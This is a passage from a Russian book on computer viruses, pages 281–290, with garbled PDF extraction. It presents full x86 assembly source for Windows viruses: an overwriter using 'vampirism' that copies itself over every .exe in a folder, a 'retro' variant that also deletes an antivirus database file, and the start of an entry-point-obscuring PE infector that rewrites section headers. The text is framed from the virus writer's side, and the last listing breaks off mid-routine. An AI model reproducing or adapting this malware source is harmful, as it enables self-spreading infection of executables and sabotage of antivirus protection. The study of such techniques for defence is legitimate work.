Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
281 |
|
|
5.7. Вампиризм
Реализация вампиризма в Windows-вирусах не намного сложнее, чем реализация вампиризма в ДОС-вирусах. Вся видимая сложность заключается в том, что при работе программы по умолчанию нельзя писать в кодовую секцию, но существует несколько вариантов решения: включить возможность записи в кодовую секцию; разместить код в секции данных.
Мы пойдем по второму пути. Как вы уже знаете, смысл техники вампиризма заключается в том, что вирус при работе собирает себя в памяти из различ- ных файлов, подчитывая нужные ему части.
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
;Далее идут импортируемые функции
extrn |
ExitProcess:PROC |
extrn |
FindFirstFileA:PROC |
extrn |
CopyFileA:PROC |
extrn |
GetCommandLineA:PROC |
extrn |
FindNextFileA:Proc |
extrn |
lstrcpyA:PROC |
extrn |
FindClose:PROC |
extrn |
CreateFileA:PROC |
extrn |
ReadFile:PROC |
extrn |
CloseHandle:PROC |
extrn |
_llseek:PROC |
.data |
; |
;---------------------------------------------- |
|
start: |
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
push |
eax |
; Кладем в стэк смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Кладем в стэк смещение на find_file |
push |
OFFSET EXE_file |
; Кладем в стэк смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла |
je |
End_it |
; То идем на выход |
|
|
; Иначе |
282 |
|
Windows вирусы |
|
|
|
mov |
[Fhandle],eax |
; В переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
||
infect: |
|
|
call |
vamp |
; |
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; При копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
buff: |
|
|
nop |
|
|
nop |
|
|
db 0efh,0ffh,0ffh |
|
|
|
|
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; И мы идем на выход |
End_it: |
|
|
push |
offset [Fhandle] |
; Кладем в стэк хэндл поиска |
call |
FindClose |
; И вызываем функцию закрытия поиска |
push |
0 |
; Кладем в стэк 0 |
call |
ExitProcess |
; И вызываем функцию завершения программы |
;————————————————————————————- |
|
|
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет и 1 в противном случае
push |
offset find_file |
; Кладем в стэк смещение на find_file |
push |
[Fhandle] |
; Кладем в стэк хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
ret |
|
; Возврат из процедуры |
;—————————————————————————— |
|
|
vamp: |
|
; |
push |
0 |
; |
push |
00000080h |
; |
push |
3 |
; |
push |
0 |
; Открываем файл, из которого мы |
push |
00000001h |
; будем подчитывать необходимые |
push |
80000000h |
; нам байты |
push |
offset korm |
; |
call |
CreateFileA |
; |
cmp |
eax,-1 |
; Если ошибка, то идем на выход |
je |
End_it |
; |
mov |
dword ptr [fHnd],eax ; Сохраняем дескриптор файл |
|
Windows вирусы |
|
283 |
||
|
|
|
|
|
|
push |
0 |
|
; |
|
push |
68dbh |
; Перейдем к позиции, где |
|
|
push |
dword ptr [fHnd] |
; находятся нужные нам байты |
|
|
call |
_llseek |
; |
|
|
push |
|
0 |
; |
|
lea |
|
edx,size2Read |
; Прочитаем их в код нашего вируса, |
|
push |
|
edx |
; который находится целиком в секции данных |
|
push |
|
2 |
; И прочитаем таким образом, чтобы он |
|
push |
|
offset buff |
; стал функциональным |
|
push |
|
dword ptr [fHnd] |
; |
|
call |
|
ReadFile |
; |
|
push |
dword ptr [fHnd] |
; Закроем файл из которого подчитывали нужные |
|
|
call |
|
CloseHandle |
; нам байты |
|
ret |
|
|
; Возврат из подпрограммы |
|
korm db ‘c:\windows\system32\krnl386.exe’,0 |
|||
EXE_file |
DB |
|
‘*.exe’,0 |
; Маска поиска файлов |
find_file |
db |
|
313 dup(?) |
; Переменная типа WIN32_FIND_DATA |
host_name |
db |
|
100 dup(?) |
; Переменная для имени файла |
Find_data_name |
equ |
2ch |
; Смещение на имя файла в WIN32_FIND_DATA |
|
Fhandle |
dd |
|
? |
; Хэндл поиска |
fHnd |
dd |
? |
|
|
size2read |
dd |
? |
|
|
msg1 |
db |
|
‘[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]’ ; Имя вируса |
|
;——————————————————————————————-
.code
nop ;——————————————————————————————-
end start ;——————————————————————————————-
Единственным крупным недостатком данной техники является ее зависимость от файлов жертв и операционных систем, под которыми данный вирус будет функционировать. В общем же данная техника является очень прогрессивной.
Также возможно использование возможностей авто вампиризма. Реализация не является более сложной, но авто вампиризм помогает избавиться от зависимости от файла кормильца и влияния на вирус операционной системы.
Применение данной техники слегка затрудняет идентифицирование вируса. Лечение не меняется.
5.8. Ретро
Как уже раньше говорилось, ретротехника одна из наиболее агресивных вирусных технологий. Она пытается удалять файлы, принадлежащие различным антивирусным программам. Например, антивирусные базы или саму программу антивируса и т.д. и т.п. Мы рассмотрим простой пример реализации данной техники. Наш вирус помимо того, что он будет размножаться, будет пытаться удалить файл «kernel.avc» в текущей директории.
284 |
Windows вирусы |
|
|
Перейдем к листингу:
;—————————————————————————————————————————————-
.386
.model flat
;Далее идут импортируемые функции
extrn |
DeleteFileA:PROC |
|
|
extrn |
ExitProcess:PROC |
|
|
extrn |
FindFirstFileA:PROC |
|
|
extrn |
CopyFileA:PROC |
|
|
extrn |
GetCommandLineA:PROC |
|
|
extrn |
FindNextFileA:Proc |
|
|
extrn |
lstrcpyA:PROC |
|
|
extrn |
FindClose:PROC |
|
|
.data |
|
|
; Область данных |
EXE_file |
DB |
‘*.exe’,0 |
; Маска поиска файлов |
find_file |
db |
313 dup(?) |
; Переменная типа WIN32_FIND_DATA |
host_name |
db |
100 dup(?) |
; Переменная для имени файла |
Find_data_name |
equ |
2ch |
; Смещение на имя файла в WIN32_FIND_DATA |
Fhandle |
dd |
? |
; Хэндл поиска |
msg1 |
db |
‘[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]’ ; Имя вируса |
|
gertva |
db |
‘kernel.avc’,0 |
; Файл который будем удалять |
.code |
|
|
; |
;---------------------------------------------- |
|||
start: |
|
|
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
push |
eax |
; Кладем в стэк смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
call |
retro |
; Вызов ретротехники |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Кладем в стэк смещение на find_file |
push |
OFFSET EXE_file |
; Кладем в стэк смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла |
je |
End_it |
; То идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; В переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
Windows вирусы |
285 |
|
|
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; При копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; И мы идем на выход |
End_it: |
|
|
push |
[Fhandle] |
; Кладем в стэк хэндл поиска |
call |
FindClose |
; И вызываем функцию закрытия поиска |
push |
0 |
; Кладем в стэк 0 |
call |
ExitProcess |
; И вызываем функцию завершения программы |
;---------------------------------------------- |
||
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет и 1 в обратном случае
push |
offset find_file |
; Кладем в стэк смещение на find_file |
push |
[Fhandle] |
; Кладем в стэк хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
retro: |
|
; Процедура удаления файла |
push |
offset gertva |
; Непосредственно само удаление |
call |
DeleteFileA |
; файла "kernel.avc" |
ret |
|
; Возврат из подпрограммы |
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Данная техника открывает большие возможности перед вирусописателем, но существует одна маленькая проблема — антивирусов становится все больше и больше... И вирмейкеру прийдется включать в свой вирус поддержку различ- ных антивирусов.
Поэтому и используют эту технику все реже и реже.
5.9 Неизлечимость
Реализация данной техники под операционные системы Windows довольно трудоемка. Это связано с тем, что большинство Windows-вирусов используют алгоритм поиска kernel32.dll, основанный на работе со стэком. Как вы уже могли догадаться, если вирус получит управление где нибудь в середине программы, стэк окажется «испорченным» и наш вирус не найдет адреса ядра.
286 |
Windows вирусы |
|
|
Начнем мы прежде всего с определения EPO — Entry Point Obscuring. В переводе это означает — скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполняемого файла точку входа. Точка входа — это адрес, с которого начинается выполнение программы при ее запуске. Впервые данная техника была применена еще в ДОС-вирусах. В аспекте Windows-систем данная техника была применена впервые в вирусе Cabanas. В чем же заключалась данная техника? Давайте рассмотрим на схеме:
До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус изменял в заголовке точку входа, редактировал виртуальный размер и дописывал свое тело в конец файла (создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли, куда указывает точка входа и потом уже детектировали вирус.
В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp’ом в начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.
После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись и видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы тоже стали проверять, куда передают управление первые инструкции кодовой секции. Также постоянно обновляются маски инструкций, передающих управление на вирусное тело.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования
Windows вирусы |
287 |
|
|
б) после инфицирования
Данный метод применялся нами для написания полу-стэлс вируса и довольно хорошо себя зарекомендовал.
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
; Функция необходимая для запуска вируса после компоновки
extrn |
ExitProcess:PROC |
|
|
.data |
|
; Вирус расположен в области |
|
|
|
; данных |
|
start: |
|
|
|
;---------------------------------------------- |
|
|
|
call |
delta |
; |
|
delta: |
|
; Получаем дельта смещение |
|
pop |
ebp |
; |
|
sub |
ebp,offset delta |
; |
|
cmp |
[ebp+s_bytes],0 |
; Узнаем, восстанавливать ли нам |
|
je |
dalshe |
; оригинальные байты |
|
pop |
eax |
; Да, нужно восстанавливать |
|
call |
restore |
; |
|
dalshe: |
|
|
|
mov |
ebx,[esp] |
; Возьмем из стека адрес |
|
xor |
bx,bx |
; Kernel’a И найдем его начало |
|
push |
eax |
; Положим eax в стэк |
|
pushad |
; Сохраняем все регистры |
||
call |
getproc |
|
|
lea |
eax,dword ptr[ebp+find_file] ; |
|
|
push |
eax |
; Заполняем параметры |
|
lea |
eax,dword ptr[ebp+mask1] |
; и вызываем функцию |
|
push |
eax |
|
; FindFirstFileA |
lea |
eax,dword ptr[ebp+FindFirstFileA] |
; |
|
call |
GETAPI |
; |
|
cmp |
EAX, -1 |
; Если файлов нет |
|
288 |
|
Windows вирусы |
|
|
|
je |
End_it |
; тогда выходим |
mov |
[ebp+Fhandle],eax |
; Сохраняем хэндл поиска |
inf1: |
|
|
mov |
ecx,dword ptr [ebp + find_file + 20h]; ecx = filesize |
|
mov |
[ebp + offset filesize], ecx |
; Сохраняем размер файла |
add |
ecx, finish - start + 1000h |
; filesize + virus |
mov |
[ebp + offset memory], ecx |
; +workspace=memory |
call |
infect |
|
f_next: |
|
|
call |
Fnext |
|
cmp |
eax,0 |
; 0 Файлы закончились |
jne |
inf1 |
|
push |
dword ptr [ebp+Fhandle] |
; |
lea |
eax,dword ptr[ebp+FindClose] |
; Закрытие поиска |
call |
GETAPI |
; |
;---------------------------------------------- |
|
|
End_it: |
|
|
popad |
|
; Восстанавливаем все регистры |
ret |
|
; Отдаем управление носителю |
;---------------------------------------------- |
|
|
infect: |
|
|
lea |
esi,[ebp + find_file + 2ch] |
; esi = имени файла |
OpenFile: |
|
|
push |
0 |
|
push |
00000080h |
|
push |
3 |
|
push |
0 |
|
push |
00000001h OR 00000002h |
|
push |
40000000h OR 80000000h |
|
push |
esi |
|
lea |
eax,[ebp+CreateFileA] |
; Открытие файла |
call |
GETAPI |
; для чтения/записи |
mov |
[ebp + offset fHnd],eax |
; Сохранение хэндла файла |
cmp |
eax,-1 |
|
je |
InfectionError |
|
;---------------------------------------------- |
|
|
CreateFileMapping: |
|
|
|
|
; выделяем память |
push |
0 |
; имя файла хэндл = 0 |
push |
dword ptr [ebp+ offset memory]; максимальный размер = memory |
|
push |
0 |
; минимальный размер = 0 |
push |
4 |
; доступ чтение/запись |
push |
0 |
; |
push |
dword ptr [ebp + offset fHnd] |
|
lea |
eax,[ebp + offset CreateFileMappingA] |
|
call |
GETAPI |
; eax = хэндл |
mov |
[ebp + offset mHnd],eax |
|
Windows вирусы |
|
|
289 |
|
|
|
|
|
|
or |
eax,eax |
|
|
|
jz |
CloseFile |
|
|
|
MapViewOfFile1: |
|
|
|
|
push |
dword ptr [ebp + offset memory] |
; количество памяти для работы |
||
push |
0 |
; |
|
|
push |
0 |
; |
|
|
push |
2 |
; |
Режим записи |
|
push |
eax |
; |
хэндл |
|
lea |
eax,[ebp + offset MapViewOfFile] |
; Вызываем функцию |
||
call |
GETAPI |
|
|
|
or |
eax,eax |
|
|
|
jz |
CloseMap |
|
|
|
mov |
esi,eax |
; |
|
|
mov |
[ebp + offset mapaddress],esi ; |
Сохраняем базу памяти |
||
DoSomeChecks: |
|
|
|
|
cmp |
word ptr [esi],’ZM’ |
; Ýòî EXE ôàéë? |
||
jne |
UnmapView |
|
|
|
cmp |
word ptr [esi + 38h],’nf’ |
; |
Уже зараженный файл? |
|
je |
UnmapView |
|
|
|
OkGo: |
|
|
|
|
mov |
ebx,dword ptr [esi + 3ch] |
|
|
|
cmp |
ebx,200h |
|
|
|
ja |
UnmapView |
|
|
|
add |
ebx,esi |
|
|
|
cmp |
word ptr [ebx],’EP’ |
; Ýòî PE ôàéë ? |
||
jne |
UnmapView |
|
|
|
mov |
[ebp + offset PEheader],ebx |
; сохраняем PE заголовок |
||
mov |
esi,ebx |
|
|
|
mov |
eax,[esi + 28h] |
|
|
|
mov |
[ebp + offset oldip],eax |
; |
Сохраняем старую точку |
|
|
|
; |
входа (ip) |
|
mov |
eax,[esi + 34h] |
|
|
|
mov |
[ebp + offset imagebase],eax |
; |
Сохраняем |
|
|
|
; виртуальный адрес |
||
|
|
; |
начала программы |
|
;---------------------------------------------- |
|
|
|
|
LocateBeginOfLastSection: |
|
|
|
|
mov |
ebx,[esi + 74h] |
; |
|
|
shl |
ebx,3 |
; |
|
|
xor |
eax,eax |
|
|
|
mov |
ax,word ptr [esi + 6h] |
; |
Количество объектов |
|
dec |
eax |
; |
(нам нужен последний-1 |
|
mov |
ecx,28h |
; |
заголовок секции) |
|
mul |
ecx |
; |
* размер заголовка |
|
add |
esi,78h |
; |
теперь esi указывает на |
|
add |
esi,ebx |
; |
начало последнего заголовка |
|
add |
esi,eax |
; |
секции |
|
290 |
|
|
Windows вирусы |
|
|
|
|
ChangeLastSectionHeader: |
|
|
|
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
||
NewPhysicalSize: |
|
|
|
mov |
eax,dword ptr [esi+10h] |
; Старый физический размер |
|
add |
eax,finish-start |
|
|
mov |
dword ptr [esi+10h],eax |
; |
Сохраняем его |
VirtualSizeCheck: |
|
|
|
mov |
edi,dword ptr [esi + 8h] |
; |
Получаем старый |
cmp |
eax, edi |
; виртуальный размер |
|
jge |
NewVirtualSize |
|
|
VirtualSizeIsVirtual: |
|
|
|
add |
edi,finish-start |
|
|
mov |
eax,edi |
|
|
NewVirtualSize: |
|
|
|
mov |
ecx,[ebp + offset PEheader] |
|
|
mov |
ecx,[ecx + 38h] |
|
|
div |
ecx |
; и выравниваем |
|
inc |
eax |
|
|
mul |
ecx |
|
|
mov |
[esi + 8h],eax |
; Сохраняем новое значение |
|
NewAlignedImageSize: |
|
|
|
mov |
eax,dword ptr [esi + 0ch] |
; получаем виртуальное |
|
|
|
; смещение |
|
add |
eax,dword ptr [esi + 8h] |
; + новый виртуальный размер |
|
mov |
[ebp+ imagesize],eax |
; = новый виртуальный размер |
|
NewAlignedFileSize: |
|
|
|
mov |
eax,dword ptr [esi+10h] |
; получаем новый |
|
|
|
; физический размер |
|
add |
eax,dword ptr [esi + 14h] |
; добавляем смещение |
|
|
|
; физического |
|
mov |
[ebp + offset filesize],eax |
; размера = размер файла |
|
CalculateNewIp: |
|
|
|
mov |
eax,dword ptr [esi+10h] |
; новый физический размер |
|
add |
eax,dword ptr [esi + 0ch] |
; + виртуальное смещение |
|
sub |
eax,finish-start |
; - размер вируса |
|
mov |
[ebp + newip],eax |
; новая точка входа |
|
CopyVirusToEndOfFile: |
|
|
|
nop |
|
|
|
nop |
|
|
|
call |
epo |
|
|
mov |
edi,dword ptr [esi+10h] |
; Новый физический размер |
|
sub |
edi,finish-start |
|
|
add |
edi,[ebp + offset mapaddress] ; mapaddress |
||
add |
edi,[esi + 14h] |
; добавляем смещение |
|
